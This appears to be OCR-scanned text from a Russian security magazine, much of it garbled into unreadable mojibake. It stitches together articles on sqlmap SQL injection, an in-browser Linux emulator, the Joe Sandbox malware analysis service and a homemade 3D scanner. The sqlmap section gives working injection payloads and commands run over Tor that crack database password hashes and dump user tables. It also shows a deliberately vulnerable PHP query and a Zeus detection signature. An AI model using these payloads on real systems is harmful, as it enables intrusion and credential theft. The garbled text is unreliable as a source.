Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(*),CONCAT(
CHAR(58,98,116,120,58),(SELECT (CASE WHEN (8532=8532) THEN 1
ELSE © END)),CHAR(58,98,121,102,58),FLOOR(RAND(@)*2))x FROM

o Thee pasgee cannat be de...
@ D | O wwwsite.com/vdnaspridar

The page cannot be displayed

Thestw it & problem with the pigs yeu are Brping 13 reech ad & cannot
be disploped.

Pipsae try the Rollosing- 1

& Clck the Epfoms button, or by sgen lster,
» Copen the 17318 163173 home page, and then ook fer linis b
e inviorenation s Wl

HTTF 500, 100 = Inimiagl Boreer Drrar = ASF arind
Interngt fedprmahon Serares

Tecnnicad Infonmanon (Tor SUDDST DOrIONE )

& Error Typa:
Microsoft OUE Db Provider for ODOC Crwery [(el0fudld T )
[Hicrosoft][CiO8C SOL Server Driver J] SOL Server JConversion
faied wieen CONVETTING D RNl wiue Moot SO0 Server
2005 - 9.00.0 5006 (Iatei X386} O £4 DOOS G- ¥3:37
Cogrpright () 1988-2005 Maroten Corparaton Expestd Edition
o Windows NT 5.1 {Build 1600: Seivice Pack 3} * bo duls type
il

i

Error-basedSQLinjection
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TUMTNYHAA OLLUBKA

Tov olwmnbKO NPOrpaMMNCTOB, N3-32 KOTOPOM CTAHOBUTCA BO3MOXKHOW
SQL-aTaka, Yalle BCero aBASETCA NpAMas KOHKaHTeHaLusa HepunbTpye-
MbIX MJIM HEMPUBOLUMBIX K HY>KHOMY TUMY 3HAYeHUii napaMeTpoB B CTPO-
Kax, kotopble cofepxat SQL-BbipaxeHus. Hanpumep, B PHP Hanbonee
4acTbIM NPUMepPOM HebpeXXHOCTN ABNAETCA NCNONb30BaHKe KoJja Bpose
$query="SELECT name, description, comment FROM catalogs WHERE
catid=".$_GET["catid"]. Kak Tbi Buanwwb, GET napametp “catid” Hanps-
MY0 13BJIeKaeTCs U3 3amnpoca 13anpocTo MOXKeT COZlepXKaTh 3J10BPeAHbIii
SQL3anpoc. Takumobpa3oM, B3NOMLLHIUK MOXeT npocTo npusecTn URL
K BuayBpoAe «http://www.site.com/vuln.php?page=front&catid=-1
UNION ALL SELECT database(),current_user(),version()&uid=0» gns
TOro 4YTobbl NONYYMTL MHPOPMaLMI0 0 Ha3e JaHHbIX, KOTopas 0TobpasnTcs
NpsiMO B COAEPXKUMOM CTPAHMLLbI.

INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query

Title: MySQL UNION query (NULL) — 3 columns

Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116
,120,58), IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CH
AR),CHAR(32)),CHAR(58,98,121,102,58))

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(10)

MoMumo 3T0r0, CKaHep BbINOJIHUT pacno3HaBaHue 633bI,D,aHHbIX, aTak-
)KeﬂperXTeXHOﬂOFMIZ, MCNONb30BAHHbIX Beﬁ—npvmomeHmeM:

[02:01:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0

B KoHLe KOHL,0B MONyYeHHble AaHHble By Ay T3anucaHsl BonpefeneH-
HbIVi dan:

[02:01:45] [INFO] Fetched data logged to text files under '/opt/
sglmap/output/www.site.com’

CLEEHAPUM Ne 2

Tenepb cnepylowuii npumep. [penonoXumM, 4To Mbl XOTUM YCTPONTb
Gonee getansHelii fingerprinting (-f) u nonyunTs TekcToBbIN HaHHEp
(--banner) cuctembl ynpasnexus 6asoi faHHbIx, BKAOYas ee 0duLmM-
anbHOE Ha3BaHUe, HOMEpP BEPCUM, a TakXXe TEKYLLEro noab30BaTess
(--current-user). Kpome Toro, Hac byayTMHTepecoBaTh CoxpaHeHHble na-
ponu (--passwords) BMecTe c umeHamu Tabnuu (--tables), Ho He BKToyas
cuctemHble, (--exclude-sysdbs) —pns scex conepxawmxcsa s CYB/[] 6a3
AaHHbIX. HeTnpobnem, 3anyckaem ckaHep:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor -f --banner --current-user --passwords

--tables --exclude-sysdbs

OyeHb CKOpPO Mbl MONy4YNUM BCe lAHHbIE 0b NCNOJIb3yeMbIX TEXHOTOTUAX,
KOTOpble 3anpalinsanu:

[02:08:27] [INFO] fetching banner
[02:08:27] [INFO] actively fingerprinting MySQL
[02:08:27] [INFO] executing MySQL comment injection fingerprint

web application technology: PHP 5.2.6, Apache 2.2.9
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Sqlmap, nnn SQL-nHbeKLMn —>3To NpocTo

back-end DBMS: active fingerprint: MySQL >= 5.1.12 and < 5.5.0
comment injection fingerprint: MySQL 5.1.41
banner parsing fingerprint: MySQL 5.1.41

banner: '5.1.41-3~bpo50+1'
Mocne—wnMsaTeKyLLEro N0Nb30BaTENS:

[02:08:28] [INFO] fetching current user
current user: ‘'root@localhost’

[laneenonyyaeM xeln BCex nosib30BaTeNIbCKMX Naposiei U BbINOHSA-
eMbpyTdopc-aTaky nocnosapio:

[02:08:28] [INFO] fetching database users password hashes
do you want to perform a dictionary-based attack against retrieved
password hashes? [Y/n/q] Y
[02:08:30] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[02:08:32] [INFO] using default dictionary
[02:08:32] [INFO] loading dictionary from
'/opt/sqlmap/txt/wordlist.txt"
do you want to use common password suffixes? (slow!) [y/N] N
[02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd)
[02:08:35] [INFO] cracked password 'testpass' for user 'root’
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *6B2C58EABD91C1776DA223B0O88B601604F898847
[*] root [1]:
password hash: *@QE247ACSFOAF26AEQ194B41E1E769DEE1429A29
clear-text password: testpass

Ona! [inqroot'aMbl 6eicTpo nogobpanv napons (ans npumepa oH 6bin
oyeHbnpocToit). MpuLNo BpeMs CAAMNUTL MHTEPECYIoLLNe HAC faHHbIe:

[02:08:35] [INFO] fetching database names
[02:08:35] [INFO] fetching tables for databases:
information_schema, mysgl, owaspl®, testdb
[02:08:35] [INFO] skipping system databases:
information_schema, mysql

Database: owaspl@
[3 tables]

KAK3ALWLWNTNTBCA?

Hanbonee HapexHbIM cnocoboM npepoTepatleHns SQL-nHbekuni
SIBISIeTCS UCMONb30BaHMe NapaMeTpuanpoBaHHbix SQL-napameTpos. K
npumepy, B ciyyae c PHP 310 Bo3MoxHO ¢ nomouybto naketa PEAR's DB
(pear.php mct/packaqc/DB],npep,nararow,ero MHTepdenc AN5 BbINONHEHNS
abcontoTHo besonacHbix SQL-BbIpaxkeHuit. ObpawieHne k b nponcxogut
cnepyolwnm obpasom: $p = $db->prepare("SELECT * FROM users WHERE
id = ?"); $db->execute($p, array($_GET['id'])).OcHoBHas naeqsa-
K/04aeTCsi BTOM, YTO €C/M MO3ULMS NapaMeTpoB ABHO 3aiaHa, TO MOXKHO
abconoTHo besonacHo nepepaBath SQL-3anpockl 6a3e gaHHbIX, UCKItOYas
BO3MOXHOCTb 41 MapamMeTpoB caMuM cTaTb SQL-BbipaxeHnsiMu (B ToM
yncne 3noBpefHbIMi). CTONT3aMeTUTb, YTO APYrue MexaHW3Mbl, TaKUE Kak
MCNOo/Ib30BaHWE NPUHYANTENbHOMO NpUBeAeHNs TUNoB (Hanpumep, ¢ no-
Moubto dyHKUMu intval()) B cBA3Ke C 3KpaHUPOBaHMEM CTPOK TAKUMM GYHK-
umnamu, kak mysql_real_escape_string()ununaddslashes(), ve agnatoTca
abconioTHo besonacHbIMu. [pobieMa BTOM, 4TO CyLLLECTBYIOT HEKOTOPbIE
BapuaHTbI 441X 0bxofa, a ciieaoBaTeslbHO, KX MCMONb30BaHMI0 Heobxo-
VMO NOAXOAMTH C MaKCUMabHbIM BHUMaHNEM.
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Fommmmm oo +
| accounts |
| blogs_table |
| hitlog |
4mmmmmmmmmooa +

Database: testdb

[1 table]

Hmmmmmmmmmee e +
| users |
Hmmmmm e +

[02:08:35] [INFO] Fetched data logged to text files under '/opt/
sqlmap/output/www.site.com’

[oToBo!

CLIEHAPUM N2 3

Teneps, 06HapyxuB B 6ase gaHHbIx testdb-Tabnuuy (-D testdb) c uHTepec-
HbIM UMeHeM «users» (-T users), Mbl, eCTECTBEHHO, 3aX04UM 3aM0NYYUTh
ee cogepxumoe cebe (--dump). Ho yTo6bl nokasaTh ele 04HY MHTEPECHYI0
onuuio, He byfieM KonupoBaTh BCe laHHble MPoCTo B daitnie, a penauumpy-
eM cofiepXuMoe TabnuL, B 0CHoBaHHYt0 Ha dpaitnax basy faHHbix SQLite Ha
nokanbHoil MalwuHe (--replicate).

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor --dump -D testdb -T users --replicate

CKaHepy He CoCTaBUTTpyAaonpenenTb Ha3BaHUA cTonbuyosans
Ta6ﬂMLl,bI usersMBbITalWlUTb N3 Hee BCe 3aNnCu:

[02:11:26] [INFO] fetching columns for table 'users' on database
'testdb’

[02:11:26] [INFO] fetching entries for table 'users' on database
'testdb’

Database: testdb

Table: users

[4 entries]

4ommefmocmnann dommmememenen +
| id | name | surname |
Hmmmpmmmm e dmmmmmmmmmoee +
| 2 | fluffy | bunny |
|3 | wu | ming |

| 1 | luther | blissett |
| 4 | NULL | nameisnull]|
et stetetetatetate Fommmmm oo +
[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file

TakuM obpa3om Mbl noNyynMm flamn 6a3bl AaHHbIX B paline testdb.
sqlite3 B popmaTe SQLite. PuliKka BTOM, 4TO B NPUTAKOM packiaje Mbl He
TOJIbKO MOXKEM MOCMOTPeTb AaHHble, HO eLLe M BbINMOHUTL K Hell lobbie
3anpockl, 3a103aB Bo3MoxHocTv SQLite (Hanpumep, c nomowbto npo-
rpammbl SQLite Manager).

PE3IOME

B npownomHoMepe B pybpuke Proof-of-concept a pacckasbiBantebe
0DSSS, HebonbwoM Python-ckpunTe, KoTopblii yMeeT 0bHapyxunBaThb
SQL-ya3BuMocTu. Mpes 3akniovanach B TOM, YTobbl co3aatb 3pdekTus-
HbIA CKaHep, KOTopbIl 6yfeT xopowwo paboTaTh, HO YIOKUTLCA MPU 3TOM
B 100 cTpoyek KoAa. 3TO NULWHNIA pa3 4OKa3bIBAET, 4To 0OHapyXeHue
SQL-ys3BMMOCTe — 3T0 NNLb Manas YacTb fiena. Mx akcnayaTayns
—BONpoC KyAabonee cNoXHbIN. Ho erorotos B3sTh Ha paspeLleHmne
sqlmap, B KOTOPOM Mbl 06be ANMHNIN MHOTOJIETHWUI OMbIT OFPOMHOTO
KonM4yecTBa NeHTeCTepoB, YTO6bI CKaHep MOr 3 PeKTUBHO He TONbKO
HaxoanTb SAL-NHDBbEeKL MK, HO M N3BIEKATb N3 3TOIr0 MaKCUMabHYI0
BbiroAdy. 3=
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Proof-of-Concept

. 3AMYCTUTDB LINUX
E B BPAY3EPE

To, 4TO Mbl yBUA,ENM OLHUM VIOSIbCKUM BEYEPOM B peAakLuu, Bre-
4aTnn0 Hac 4o rNybuHbl aywu. 3anasa Ha caiT bellard.org/jslinux,
Mbl YBULENM, KaK NPSMO BHYTpU bpay3epa cTapTyeT Linux-cucrema,
C KOTOPOV MOXHO paboTaTb Tak, Kak ecnv bbl oHa bblna 3anyLue-

Ha nof BMpTyanbHOM MalumnHon. CnepBa HaM NOKa3anoch, YTo 3T0
NPOCTO 3MYNATOP JINHYKCOBOM KOHCOJIN M HEKOTOPbIX HUKCOBBIX
KoMaHz. Ho 04eHb CKOpO CTas0 ACHO, YTO 3TO MOJTHOLLEHHbIN IMY SIS~
Top PC, KOTOpbIN NONHOCTBLIO HanMcaH Ha JavaScript 1 BbINoHAETCS
npsimo B bpay3epe! MoxHo faxe Hanucatb Ha Cy NpuaoXKeHue 1 oT-
KOMMUMPOBATb ero C MOMOLLbK BKJIIOYEHHOTO M0 YMOJTYaHMIO KOM-
nunaTopa TinyCC. 3To npocTo YyMa! KakoMy KpyThlILLy yAanochb 3To
peanu3oBaTb? Bonpocbl oTnagatT camm cobow, Korga nocMoTpuLLb
Ha KonupaiiTbl. JavaScript PC Emulator (a uMeHHO Tak Ha3biBaeTCS
npoekT) Hanucan Pabpuumo bennapg— cospatens amynatopa
QEMU. Mbi pelunnuny3HaTtby HEro, Kak eMy B ros10BYy MOria npunTy
Takas be3baweHHasa nges. PoC nonyymncs BHe BCAKMX Noxsall.

= it heltard oo Jafini

& 2241 Pabriis Beblind - Hems - P - Tobunl »

JavaScriptPCEmulator 6bicTpee BceropabotaeTs Firefox
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3AYEM BOOBLLE Tbl BCE

3TO 3ATEAJT? PAOVUYEIO?
fIxoTencpenatb cBoeropopa Unix-nogobHyto
cucTeMy B bpaysepe. 9 3Hato 0 CyLeCTBOBAHWM
npoekTa JS/UIX [www.masswerk.at/jsuix), Ho MeHs
rpenawuies 0 BOIMOXHOCTM 3anyckaTb B bpay3sepe
peanbHble buHapHuky Unix-koMaHg. Mi3HayanbHo
S NULWb XOTeN Peann3oBaTh IMYNATOP N0Ab30Ba-
TENbCKOT0 OKPYXXEHWS M MOJHOCTbIO HAaNMcaTb Ha
JavaScriptagpo cuctembl. OfHaKko no3xe s 0co-
3Han, YTO C NOMOLLbI0 COBPEMEHHbIX JS-ABMKKOB
NpoLLe 3IMYANPOBaTh Liesbli KOMNbIOTEP U yXXe Ha
HeM 3anyckaTb NosIHoLeHHbIN Linux.

YTOB3TOM OCOBEHHOI0?
EcTbHEManoaMynaTopoB KOMNbOTEPA, U BTOM
4nce CTOI Y UCTOKOB 04HOO M3 HUx (QEMU).
JavaScript PC Emulator nHtepeceH TteM, 4to pabo-
TaeTBbOoNbWHMHCTBE Bpay3epoB v BoOGLLE He Tpe-
ByeTycTaHoBKU. KOHEYHO, OH 3aMeTHO MefifleHHee,
HO BCE PABHO MOXET UCMOb30BaThCH, K NpUMepy, B
0bpasoBaTenbHbix Lensx. [TockonbKy Kof HanucaH
HauncToM JavaScript'e, OH MOXeET MOCAYXNUTL He-
naoxuM beHYMapKoM 15 3aMepa npon3BoguTeNb-
HocTW JS-ABUXKOB. Mory cka3aTb, 4To ceityac npo-
eKTbbicTpee cTapTyeTHa Jaeger Monkey, KoTopblit
ncnonbayetca s Firefox 4, yems V8 (Chrome). A noka
He MOry 00 BACHNTb, B YEM NPUYMHA, MTOCKOJIbKY
ycrnennokausyyuTb Koj Tonbko Jaeger Monkey
(®abpuumno—HacToAWMIA FTMK-MOHCTP. — MpuM.
pegakunul.

KAKWE C 3TUM BbIJT CJTOXKHOCTI?
Camasi HaBOpoYeHHas YacTb NpoekTa —3To,
KOHeyYHo, aMynaTop npotueccopa x86. MpoekTamy-
nVpyeT ele psaycTponcTB (nocnefoBaTeNbHbI
NopT, KOHTPONNIEp MPepbIBAHWNA, IMyNATOP TEP-
MUHanal, Ho C NpoLOM BO3HU Bblio Bonblie BCero.
TyTHapo noHUMaTh: 6bis10 Bbl NpoOLLE IMYANPO-
BaTb CPU c RISC-apxutekTypoii (kakon-Hubyab
MIPS nnn ARMJ, Ho kyfa Kpyude 66110 66l MeTH
BO3MOXHOCTb 3anyckaTb Be3fecyLwuit x86 kop.
Befb B KOHEYHOM CYeTe 3TO MO3BONMT 3aNycKaTb U
npyrve OC, He Tonbko Linux. Ewe ogHa cnoXxHocTb
COCTORNaBTOM, YTOObI OOUTLCA NPUNNYHOA
Npou3BOANTENbHOCTM IMyNATOpa B bpay3epe
(cenyac npoekTpabotaet s Firefoxu Chrome).

1 06HapyXnn, YTO HEKOTOPbIE KOHCTPYKLUM
BbIMOJTHAOTCS MefiIEHHee, YeM fpyrue B Tex xe
caMbix bpaysepax. [T03TOMy NpULWAOCH U3PSLHO
ajanTupoBaTb Koj. 3T
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CrenaH Unbu (twitter.com/stepah)

aBHO XOTeJIHANTU NPOCTON M UHTENEKTYaNbHbIA UHCTPYMEHT
n InsaHanu3amansapu. M kaxetcs, Halwen. BogHoM 13 gaBHULL-
HUX HOMEPOB 51 y>Ke PaCCKa3bIBaJ Npo OHJaH-CepBUChI, KOTOpPble

npefnaraloT 3anycTUTb NOA03PUTENbHBIA BHapHUK B NecoYHMLe 1
npoaHann3npoBaTh ero AeitcTBNs BcucTeMe. [leTanbHOCTb TaKMX 0THETOB
nopaaeT: MOXXHO MOCMOTPeTb, Kakue K04 bbinv co3fjaHbl B peecTpe,
K KakuM daiinam nponcxofunu obpalyeHus, kakie nepexsatbl yHKLMNA
BbIMONHANNCE N TaK flafiee. HekoTopble U3 TakMX CepBMCOB aBTOMaTUYe-
CKU [1eN1atoT CKPUHLLOT MPUIOXKEHUS U NpeiaratoT NoJHbli jaMn ceTeBo
akTUBHoCcTU UccnepyeMoro npunoxeruns B PCAP-popmate. Bcemy aTomy
X039MCTBY HE XBaTaeT TO/IbKO OJHOr0 — HEKOr0 MHTe/I1eKTyaNbHOro
MeXxaHW3Ma, KOTOPbI MOT bbl He TOJIbKO BbIK/1aAblBaTh Cyxue GpaKThbl, HO
ele M MHTepnpeTMpoBaTh 1X. To, YeroaTak JaBHO X0Tes, 1 06Hapyun
cnyyaliHo B cepBuce WBeiiLapckorouccnefosatens Credara bronbMata.
Eropaspabotka—Joe Sandbox Web (www.joesecurity.org)—Tak xe,
Kak M MHOTWe ipyrie CepBUChHI-MeCOYHULbl, BO3BpaLlaeT AeTanbHehluni
oT4yeTONoBeAeHUM paiina B cMCTeMe, HO C BaXKHbIM OTANYMEM. 3a cyeT
MHTeNNeKTyaNbHOro MexaHn3Ma ckaHep MOHATHbLIM A3bIKOM FOBOPUT 0 TOM
aKTMBHOCTU BUHapHMKa, KOTOpas Bbi3biBaeT Nof03peHNs. «MHxXeKTupyeT
PE-daiin B uyxon npouecc», «[lepexaTbiBaeTBbi30BWinsocket-dyHKLniA
ansinepexsataTpaduka», «0TKpbIBaeT NOPT MKAET BXOAALLUX MOLKIIO-
YeHUit», «YcTaHaBAMBAET XYKM N5 GYHKLMIA, BbIBOAALLME CNMCOK hannoB
1 AMPeKTOpNiA» —BOTHYeTNoNafalT KOHKPETHbIe U ACHbIe POPMYyN-
POBKW, MOHATHbIE YeI0BEKY, KOTOPbI M0 poAy ieATeNIbHOCTN 06bIYHO He
3aHMMaeTCs aHanu3oM ManBapu. Bce cobbiTus paHxupytloTca no ctenexn
0nacHoCcTU. i nepeyncnmnn HekoTopble U3 0cobo Nofo3puUTeNbHbIX. HoecTb
M pyrue MapKepbl, Ha KOTopble NPy aHann3e cToUT 0bpaTUTb BHUMaHUe,
HO KOTOpble He 06513aTeNIbHO CBUAETENbCTBYIOT 0 3/10BPEJHOM XapaKTepe
npunoxeHus. Hanpumep: «0TnpasnsieT faHHble Ha Be6-cepBep», «Touka

[ ummary
o SpswrE -l b

» Quaries & Hat & 8ll raAning processss

= Queries a list of all ppen handles

= Crestes o mubex bo recognise infeciod hosts

PasHble uBeTa—pasHble CTeNEeHN ONaCHOCTH COBLITHI
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KOJIOHKAPEAAKTOPA

[lpo aHanm3
MaJsiBapu

BX0/1a B MPUJIOXKEHNS NIEXUT BHE CTaHAAPTHbIX CeKLNt», «3anpalunBaeT
CMWUCOK 3anyLLeHHbIX NpoLeccos», «ConepxunT gonrve sleep’st (bonbuie
2MuHyT)», «Co3aaet dannsl ApaniBepos» UTak Aanee. Bcero s 6ase Joe
SandboxWeb ceityac 160 curHaTyp fisiaHann3sa nosefeHns buHapHuka.
JoBy10 3 HUX MOXHO MOACTPOUTL MOJ CBOM HYXbl. HU4ero He ctout
HanucaTb ¥ CBOM COHCTBEHHbIE CUTHATYPbI, BOCMOJ/Ib30BaBLUNCH MPOCTLIM
Python-nHTepdeiicom 4ns 06paboTky faHHbIX 0 NOBEAEHUM NPOrPaMMbl.
MpuBeny AN NpuMepa 4acTb CUTHATYPbI AJ18 aHann3a Zeus'a, C NOMOLLbIO
KOTOPOro Mbl 06y4aeM ckaHep pearmpoBaTh Ha TUMMYHbIE AN 3TOr0 TPOS
co3paBaeMble pansbl:

zeusfiles = ["c:\\windows\\system32\\ntos.exe", \
[... nponyweHo ...]
"c:\\windows\\system32\\lowsec\\user.ds"]

def sigmatch(data):
if data["func"] == "fileCreated":
if data["status"].find("success") != -1:
# MpoBepsem, nonagawT AU co3aaHHble dainbl B 6nek-nuct
for zeusfile in zeusfiles:
if data["path"].lower() == zeusfile:
zeusdetected = True

elif data["func"] == "http":
if zeusdetected:
# U3Bnekaem IP-agpec C&C-cepBepa
if re.match( r"POST.*gate\.php", data["request"], re.I):
zeusservers.append(data["dstip"])

Boobue nofobHas pacwmnpsemocts saetJoe Sandbox Web cTo oukos
Brnepefnepes ipyruMu KoHKypeHTamu. Elle ofHoM kunnep-puyei
ABNIAETCABO3MOXHOCTb UCMONb30BaHuA Autolt-ckpunToB, 4Tobbl onpe-
LNennTb AeiiCTBUS, KOTOPbIe 0JDKHbI MPOUCXOANTL BO BpEeMs aHanu3a
Mansapu. To ecTb MOXKHO YeTKO aBTOMaTU31poBaTh it0boe B3anmopei-
CTBME C CUCTEMOI U NPUNOXKEHUAMY (6pay3uHT onpeseneHHbIX CTpaHuL,
3anosHeHne ¢opM, yCTaHOBKY MPUNOXeHWs U Tak Aasnee). TyTHago
MOHMMaTb: MHOTVe N3 AeiiCTBUI MafiBapb BbINOIHAET TOIbKO B C/lyyae
BO3HUKHOBEHUS onpeaeieHHbIX cobbITUi. K npumMepy, 6aHKOBCKWUI TpOW
MOXeT cobupaTb JaHHble GOPM TONIbKO MPY NOCeLLLeHUN NoNb30BaTeNeM
onpefeneHHbix canToB. CepBuc nossonsetobpabotaTb NofobHY0 CU-
Tyauuto. C MoMOLLbI0 MPOCTOr0 CKPUMTA Mbl MOXKEM MOJTY4UTb HE MPOCTO
0T4eT0TOM, 4TO MPOUCXOAMT B CMCTEME MOCIe 3anycka UccaefyemMoro
NPUN0XKEHNSA, HO U MOJHbIA @aHANIM3 TOrO, YTO MPOUCXOAUT NPU BOSHUKHO-
BEHMM 0603HaYeHHbIX CObbITHIA. CLieHapuK NO3BONAIOT eLie v yNpaBaAaTb
aHaNN3UpPYIOLLUM ABUKKOM: K TpUMepY, C03aBaTb Npu HeobxoanuMocTy
CKPMHLLOT 3KpaHa UM BKJIKOYaTb B HY)XHOM MecTe CHUdep AN nepexsa-
TaTpaduka. M atonnwe Manas yacTb Bo3MoxHocTen Joe Sandbox Web.
lMpaBaa, BbecnnaTHo Bepcum cepBuCca OHW JOCTYMHbI He Bce. A s
nonyyeHns faxe becnnaTHoro akkayHTa npujeTca HanucaTb NNCbMO ero
co3fatento. KcyacTblo, 0TBeYaeT OH bbicTpo. 3T
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3pyapalysb

3D-ckaHe
3a $30 ’

KAKCO3AATb
3D-MOAEJIb
JIIOBOro NPEAMETA
noaAPY4YHbIMU
CPEACTBAMMU

MpodeccmoHanbHbiM 3D-ckaHep,
C MOMOLLLbI0 KOTOPOT0 MOXHO
oundpoBaTh peanbHbIN 06BEKT,
MOJy4YMB €ro KOMNbIOTEPHYIO
MOLeSb, CTOUT LeCATKMN ThiCAY
nonnapoB. Mbl e CMoXeM npo-
BEPHYTb TO )K€ CaMoe C MOMOLL b0
crnewmanbHOM NporpaMMel, nasep-
HOM yKa3ku n Beb-kamepsbl. Bcero
L,0/11apoB 3a TpUALATh.

034

Hacaiite paspabort-
yuka www.david-
laserscanner.
comecTbnpeKpacHoe
PYKOBOACTBO Ha pyc-
ckoM ssbike. [poyTtn
eroobszatenbHo!
TaMoyeHbnoapobHO
onucaHbl uTpebosa-
HUsik0bopypoBaHuio,
nnocnepoBaTenb-
HOCTb CKaHUPOBaHMUS,
M pasHble HI0AHChI,
KoTopble MOryTyTebs
BO3HUKHYTb.

X

03D-CKAHMPOBAHNN

MHorune coepbl Halen XKM3HN HEMbICIVMbI D@3 TpexMepHo i rpaduku.
OrpomHas apmus 3D-mogennepos (nannonpocty 3D'WwHUKoB) eXXeAHEBHO
€03[,aeTMOJLeNIN, KOTOPbIE MOTOM YCMeLIHO UCMOMb3YHTCS B CaMblX Pa3HbIX
06nacTsx, Ha4MHas oTKMHeMaTorpada, peknambl, NPOMbILLIEHHOMO NPO-
M3BOJLCTBA, apXMTEKTYpbl M 3aKaHuYMBas bor3HaeTyeM ele. Jloboi yeno-
BEK, 3aHUMal0LLMNACA MOLENNPOBAHNEM, PAHO UM MO3AHO CTaNKUBaETCS
cocrepytolleil 3afla4eit: HyXKHO C03A4aTb MOAENbTOTO, YTO YXKe CyLLecTByeT
BHalleM TpexMepHOM Mupe. 3TO MoXeT bbITb 4ToyrofHo. Hanpumep,
MOJeb-NPOTOTHN, KOTOPYIO Ha TBOW CTOJ MO0 3aKa34YMK U NOMNPOCU
CAeNaTh «TOYHO TaK Xe, TOSIbKO B KOMMbloTepe». [puyeM cMoaenvpoBaThb
HYXXHO HEe NPOCTO 4TO6bI «BbIN0 NOX0XE», @ 4TOOLI 06bEKT-NPOTOTUM U
TpexMepHas MoAenb bblnn Kak bin3HeLbl-6paTha, pa3feieHHbIe 3KPaHOM
KOMMbtoTepa. Tak Cly4Ynnoch v co MHOW. BbinonHas oyepeHo 3aKa3 no
MOJeIMPOBaHWIO, i CTOJIKHYJICS C O4eHb XKeCTKUMN TpeboBaHUAMM MO Co-
0TBETCTBUIO MOel Mofienu obpasLy knveHTa. Mocne aHHoro 6esycnelwHoro
COrnacoBaHUsA CTaNo ACHO, YTO B ITOT Pa3 HyKHa abconoTHas TOYHOCTb
Mofenn. BoBCSKOM ciyyae KNMEHT bbbl yBEPEH, 4TO BNPOTUBHOM Clyyae
eC/N M He HacTyNUTApMarejOH iN15 BCEro Ye10BEYeCTBa, TO N0 KpaiiHe
Mepe CAy4YnTCcs 4T0-To noxoxee. YTo MHe ocTaBanock enatb? [onpo-
6oBaTb, HakoHel, 3D-ckaHupoBaHue! A Toraa elle nogyMan: «31o xe

Mo ennpoBaHve fas neHuBbIx». MuHyTailena—uBcé, Mofensrotosa! K
MOeMy BEJIMKOMY yAMBIEHWIO (M pa3oyapoBaHuio), 0Ka3anock, 4To jaxe
caMbli npocTeHbkUiA 3D-ckaHep cTonT bonblmnx fieHer. BepHee roeops,
04eHb 60MbLWMX. YTO6bI €10 KYyNUTh, I AOJIKEH BbITYMHOXUTL CTOUMOCTb
3TON MOLEN HA YNCIO C NATbI0 HYNAMU. Ho pa3 HeNb3s KYNWUTb, 3HAUNT,
byaeM fenatb camu. Huxe s1xoUy MoAenuTbCs C Toboii 0nbITOM, Kak MOXHO
cobpatb 3D-ckaHep CBOMMU pyKaMu. 5 He TONTbKO pacCKaxy, Kakie KOMMo-
HEHTbI M FAe KYyNUTb ANIS 3TOr0, HO M KakK 3TUM CKaHEPOM NoJIb30BaTbCA.
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YTOHaM
noHapooeurTca?

CmacTepuTb cBoM 3D-CKaHep, Kak 0Ka3anoch,
MOXHO DyKBasIbHO U3 NOLPYYHbIX MAaTEPMANIOB:
HaM noTpebyeTcsa cneluanbHas NnporpamMmMma, na-
3epHasi yka3ka, Beb-kaMepa, a TakxKe HEKoTopble
camofiefibHble NpucnocobneHus.

**  CNEUMANBHbLIN CO®T
CaMoii BaXKHOM YacTbo cCKaHepa, BTOM
yncne goporocTosiieronpodeccmo-
HaNbHOTO, ABNAETCSH €ro MO3r—npo-
rpaMMHoe obecneyeHue, KoTopoe
BbIMosHAeToundpoBKY. To, 4To HE0OX0-
LIUMO HaM, — 3TO UHCTPYMEHTbI, KOTOpbIEe
NO3BONIAT CKaHNPOBaTh/oUMdPOBLI-
,.4& , BaTb TPeXMepHble 06bEeKThI C MOMOLLbIO
e NOAPYYHbIX CPEACTB: Beb-KaMepbl 1
Na3epHoN yKasku. TakoBbIMU SBNSAIOT-
ca DAVID-laserscanner (www.david-laserscanner.com) u TriAngles
(www.intricad.com), BocTynHble 4ns cBO6OAHOrO TECTUPOBAHUS, HO C
HeKOTOpbIMU OrpaHnyeHnsMu. MocneAHNA UMeeT [OBOJIbHO HEMPUATHOE
orpaHuyeHue: Ans eropaboTbl HEOOXOAMM paBHOMEPHO BpaLLatoLLMiics
CTONIMK, Ha KOTOpPOM byfeT pacnonaraTbCs CKaHUpyeMbli 06bekT. KToMy
e npefbaBAATCA CypoBble TpeboBaHWsa K caMmoMy 06bekTy. Ero dopma
L0/KHA 6bITh BAN3Ka K LUNMHAPUYECKON, 3 ele Nyylue — chepnyeckoi.
DAVID-laserscanner nofobHbix TpeboBaHuii He NpefbABASET, N03TOMY
s Bblbpanero. HecMoTpsi Ha To YTo NpoOrpaMMa nNiaTHas v ee cCTOMMOCTb
konebnetcs o1 199 10229 eBpo, TECTUPOBATL €€ MOXHO CKOMb YrOAHO
L,0/Ir0— IMMUTOB N0 BPEMEHU HeT. EANHCTBEHHOE OrpaHuYeHe 3aKto-
4aeTCs BOCOOEHHOCTAX COXpaHeHWs pe3ynbTaToB CKaHWpoBaHus. Coxpa-
HUTb CKaHbl MOXHO, HO B HU3KOM KayecTBe. BripoueM, Ha npocTopax CeTwn
MHorga cnyyatwTca Yypeca, vecnntebe ynactca Hatm Bepcuio DAVID a,
KOTOpasi COXPaHAET B BbICOKOM Ka4eCTBe, 3HaYUT, Tl CIKOHOMULLb U Ha
3TOM. AKTO MLLET—TOoTBCerfa Hanger.

CAVID

L

£

[ 7

BEG-KAMEPA

[MapameTpbl 06bekTa, HeobxofuMble

AN cocTaBeHns obbekTa, nporpamMma
CYMTHIBAET CMOMOLLbIO Beb-Kamepbl.
OHa, BO3MOXHO, y TebsiecTb. Ecnntak —
NpeKpacHo, Moxellb nonpobosatb
npoBepHyTbBCE c Hel. [naBHoe, 4TobbI
pa3peluerue bbino He MeHbLe 640 x 480.
Ectbnapyrne tpeboBanus: Hannumne
